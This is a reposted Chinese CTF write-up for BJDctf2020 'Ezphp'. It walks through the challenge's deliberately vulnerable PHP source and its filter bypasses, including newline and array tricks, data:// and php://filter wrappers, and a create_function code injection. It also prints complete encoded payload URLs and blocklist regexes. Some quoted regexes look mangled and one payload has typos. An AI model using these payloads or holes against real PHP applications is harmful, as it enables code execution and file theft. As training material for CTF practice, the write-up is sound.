BJDctf2020 Ezphp

发布时间:2022-06-25 发布网站:脚本宝典
脚本宝典收集整理的这篇文章主要介绍了BJDctf2020 Ezphp脚本宝典觉得挺不错的,现在分享给大家,也给大家做个参考。

BJDctf2020 Ezphp

https://www.cnblogs.com/rabbittt/p/13323155.html

0.01先查看源码,找到一串疑似base32编码的,解码得到1nD3x.php

BJDctf2020 Ezphp

0.02访问/1nD3x.php得到源文件

<?phphighlight_file(__FILE__);error_reporting(0); $file = "1nD3x.php";              //剩下的部分拆分了放在后面$shana = $_GET['shana'];$passwd = $_GET['passwd'];$arg = '';$code = '';

 

1.$_SERVER['QUERY_STRING']绕过

if($_SERVER) {     if (//几乎ban掉了payload里所有可能用到的词        preg_match('/shana|debu|aqua|cute|arg|code|flag|system|exec|passwd|ass|eval|sort|shell|ob|start|mail|$|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|read|inc|info|bin|hex|oct|echo|print|pi|.|"|'|log/i', $_SERVER['QUERY_STRING'])        )          die('You seem to want to do something bad?'); }

$_SERVER['QUERY_STRING']函数不对传入的东西进行url编码,所以把payload进行url编码之后传入即可绕过

(ps:一般的url编码不能把英文字母等非特殊字符也编码,所以本题中如果只是把payload丢到编码器里没有用,但我也只找到这个师傅说了对应的解决办法https://blog.csdn.net/qq_41814777/article/details/102058889)

2.preg_match绕过

参考https://www.codercto.com/a/52693.html

if (!preg_match('/http|https/i', $_GET['file']))//不能包含http|https{    if (preg_match('/^aqua_is_cute$/', $_GET['debu'])&& $_GET['debu'] !== 'aqua_is_cute') //需要在debu=xxx中匹配到‘/^&/’,且debu不能为‘aqua_is_cute’    {         $file = $_GET["file"]; //用file=xxx传值        echo "Neeeeee! Good Job!<br>";    } } else die('fxck you! What do you want to do ?!');

第一步中已经把'/^$/'这几个符号都ban掉了,但现在需要绕过preg_match,所以在dedu=aqua_is_cute末尾加上换行来代替(也就是加上%0a)

3.$_REQUEST绕过

if($_REQUEST) {     foreach($_REQUEST as $value) {         if(preg_match('/[a-zA-Z]/i', $value))         //要求不能有字母            die('fxck you! I hate English!');     } } 
$_POST优先级高于$_GET,所以用POST传入的值会把$_GET中的值覆盖掉

1和2中可知,需要用file和debu传值,所以此处用POST传入file=xxx&debu=xxx可以绕过(xxx可以是任何不为0的数)

4.file_get_contents绕过

函数解释https://www.runoob.com/php/func-filesystem-file-get-contents.html

if (file_get_contents($file) !== 'debu_debu_aqua')    die("Aqua is the cutest five-year-old child in the world! Isn't it ?<br>");

此处用data伪协议即可绕过(data://text/plain,~)

5.sha1函数、比较类型数组绕过

sha1函数https://www.w3school.com.cn/php/func_string_sha1.asp

if ( sha1($shana) === sha1($passwd) && $shana != $passwd )//既要shana和passwd传入的值不相同,又要这两个传入的值经过sha1散列之后强相等{    extract($_GET["flag"]);    echo "Very good! you know my password. But what is flag?<br>";} else{    die("fxck you! you don't know my password! And you don't know sha1! why you come here!");}

sha1函数对数组不敏感,所以用shana[]=0&passwd[]=1绕过

//至此为止,满足以上五个条件的payload是:

file=data://text/plain,debu_debu_aque&debu=aque_is_cute%0a&shana[]=0&passwd[]=1

url编码之后:

file=%64%61%74%61%3a%2f%2f%74%65%78%74%2f%70%6c%61%69%6e%2c%64%65%62%75%5f%64%65%62%75%5f%61%71%75%61&%64%65%62%75=%61%71%75%61%5f%69%73%5f%63%75%74%65%0A&%73%68%61%6e%61[]=1&%70%61%73%73%77%64[]=2

完整url:

靶机网址/1nD3x.php?file=%64%61%74%61%3a%2f%2f%74%65%78%74%2f%70%6c%61%69%6e%2c%64%65%62%75%5f%64%65%62%75%5f%61%71%75%61&%64%65%62%75=%61%71%75%61%5f%69%73%5f%63%75%74%65%0A&%73%68%61%6e%61[]=1&%70%61%73%73%77%64[]=2

同时用POST传入file=1&debu=1

BJDctf2020 Ezphp成功绕过前五步

6.create_function运用

create_function注入详解:https://www.cnblogs.com/-qing-/p/10816089.html

本题参照:https://blog.csdn.net/a3320315/article/details/104111260

源码:if(preg_match('/^[a-z0-9]*$/isD', $code) || preg_match('/fil|cat|more|tail|tac|less|head|nl|tailf|ass|eval|sort|shell|ob|start|mail|`|{|%|x|&|$|*|||<|"|'|=|?|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|print|echo|read|inc|flag|1f|info|bin|hex|oct|pi|con|rot|input|.|log|^/i', $arg) ) //ban了这么这么多,肯定不能用一般方法传入payload了{     die("<br />Neeeeee~! I have disabled all dangerous functions! You can't get my flag =w="); } else {     include "flag.php";//包含了flag.php这个文件    $code('', $arg);} ?>

code和arg是可更改变量,所以在这两个东西上下功夫

6.1由第5步中可见,需要通过flag[arg]=xxx,flag[code]=xxx传参
6.2利用create_function,对于
$aaa = create_function('$a, $b', 'return $a+$b;');

相当于

function aaa($a, $b){    return $a+$b;}  

对于

$code=return $a+$b;}fction();//

相当于

function aaa($a, $b){    return $a+$b;}  fction();//}(fction为某个任意函数,"//"可以注释掉后面的内容)

应用到本题,可以得到

flag[code]=create_function&flag[arg]=}fction();//
6.3由于包含了flag.php这个文件,为了查看所以用到两个函数

var_dump:https://www.php.net/manual/zh/function.var-dump.php

get_defined_vars():https://www.codercto.com/courses/d/863.html

可以利用get_defined_vars()将所有变量和值都进行输出

所以构造payload:

flag[code]=create_function&flag[arg]=}var_dump(get_defined_vars());//
6.4字母和数字都被ban了,所以跟前面一样,用url编码一下
file=%64%61%74%61%3a%2f%2f%74%65%78%74%2f%70%6c%61%69%6e%2c%64%65%62%75%5f%64%65%62%75%5f%61%71%75%61&%64%65%62%75=%61%71%75%61%5f%69%73%5f%63%75%74%65%0A&%73%68%61%6e%61[]=1&%70%61%73%73%77%64[]=2&%66%6c%61%67%5b%63%6f%64%65%5d=%63%72%65%61%74%65%5f%66%75%6e%63%74%69%6f%6e&%66%6c%61%67%5b%61%72%67%5d=}%76%61%72%5f%64%75%6d%70(%67%65%74%5f%64%65%66%69%6e%65%64%5f%76%61%72%73());//

BJDctf2020 Ezphp

6.5提示了flag在rea1fl4g.php里,所以考虑用require函数,php//filter读取文件
require(php://filter/read=convert.base64-encode/resource=rea1fl4g.php)

url编码之后

require(%8f%97%8f%c5%d0%d0%99%96%93%8b%9a%8d%d0%8d%9a%9e%9b%c2%9c%90%91%89%9a%8d%8b%d1%9d%9e%8c%9a%c9%cb%d2%9a%91%9c%90%9b%9a%d0%8d%9a%8c%90%8a%8d%9c%9a%c2%8d%9a%9e%ce%99%93%cb%98%d1%8f%97%8f)

利用异或或者~进行取反操作

require(~(%8f%97%8f%c5%d0%d0%99%96%93%8b%9a%8d%d0%8d%9a%9e%9b%c2%9c%90%91%89%9a%8d%8b%d1%9d%9e%8c%9a%c9%cb%d2%9a%91%9c%90%9b%9a%d0%8d%9a%8c%90%8a%8d%9c%9a%c2%8d%9a%9e%ce%99%93%cb%98%d1%8f%97%8f))

替换上一步中的var_dump(get_defined_vars())

最终最终的payload

/1nD3x.php?file=%64%61%74%61%3a%2f%2f%74%65%78%74%2f%70%6c%61%69%6e%2c%64%65%62%75%5f%64%65%62%75%5f%61%71%75%61&%64%65%62%75=%61%71%75%61%5f%69%73%5f%63%75%74%65%0A&%73%68%61%6e%61[]=1&%70%61%73%73%77%64[]=2&%66%6c%61%67%5b%63%6f%64%65%5d=%63%72%65%61%74%65%5f%66%75%6e%63%74%69%6f%6e&%66%6c%61%67%5b%61%72%67%5d=}require(~(%8f%97%8f%c5%d0%d0%99%96%93%8b%9a%8d%d0%8d%9a%9e%9b%c2%9c%90%91%89%9a%8d%8b%d1%9d%9e%8c%9a%c9%cb%d2%9a%91%9c%90%9b%9a%d0%8d%9a%8c%90%8a%8d%9c%9a%c2%8d%9a%9e%ce%99%93%cb%98%d1%8f%97%8f));//

BJDctf2020 Ezphp

base64解码一下,得到flag

BJDctf2020 Ezphp

(查了一下,看到也有其他师傅用了fopen和fgets读取文件)

 

脚本宝典总结

以上是脚本宝典为你收集整理的BJDctf2020 Ezphp全部内容,希望文章能够帮你解决BJDctf2020 Ezphp所遇到的问题。

如果觉得脚本宝典网站内容还不错,欢迎将脚本宝典推荐好友。

本图文内容来源于网友网络收集整理提供,作为学习参考使用,版权属于原作者。
如您有任何意见或建议可联系处理。小编QQ:384754419,请注明来意。
标签: